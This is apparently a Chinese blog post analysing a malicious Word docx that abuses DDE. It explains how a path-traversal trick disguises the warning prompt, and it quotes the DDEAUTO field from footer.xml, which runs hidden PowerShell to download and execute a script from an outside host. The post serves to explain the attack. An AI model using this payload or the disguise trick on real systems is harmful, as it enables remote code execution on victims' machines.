使用Office进行DDE攻击

关注

原创最新推荐文章于 2026-09-20 16:02:03 发布 2.1k 阅读 AI 写同款· GEO 优化 ›

Excel公式注入实战：从DDE攻击到防御策略本文深入剖析了Excel公式注入（CSV注入）漏洞的原理与实战，从基础的DDE攻击命令执行到利用HYPERLINK函数窃取数据，再到构建反弹Shell实现远程控制。文章详细拆解了Excel的公式解析机制与DDE协议，并提供了多种绕过过滤的技巧及真实案例。最后，从开发侧的输出编码、输入验证到系统客户端的加固策略，给出了全面的立体防御方案，帮助开发者和安全人员有效应对此类客户端攻击风险。阅读详情

当你打开恶意docx文件时，会有提示信息，不过通过解析路径的手段，把可疑部分隐藏了。

这个提示信息，看起来是启动我Word安装目录下的一个程序，普通人觉得，Word启动它自己目录下的程序，应该很正常呀！于是就点了是

在这里插入图片描述
此时用procexp查看进程列表，恶意的代码已经执行了~

在这里插入图片描述

如果用7z来打开这个docx文件，可以看到里面的footer.xml文件中包含的恶意部分

在这里插入图片描述

DDEAUTO  "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c 
pOWeRShELl.exe  -NoP -W Hidden IEX(nEw-oBjECt sYstEM.nEt.wEBcLIeNt).dOWnLoADsTRiNg('http://stinky.esy.es/ip.php'); 
#"  "Financial Security Institue RFRE System"

powershell.exe会从'http://stinky.esy.es/ip.php下载新的ps代码执行

在这里插入图片描述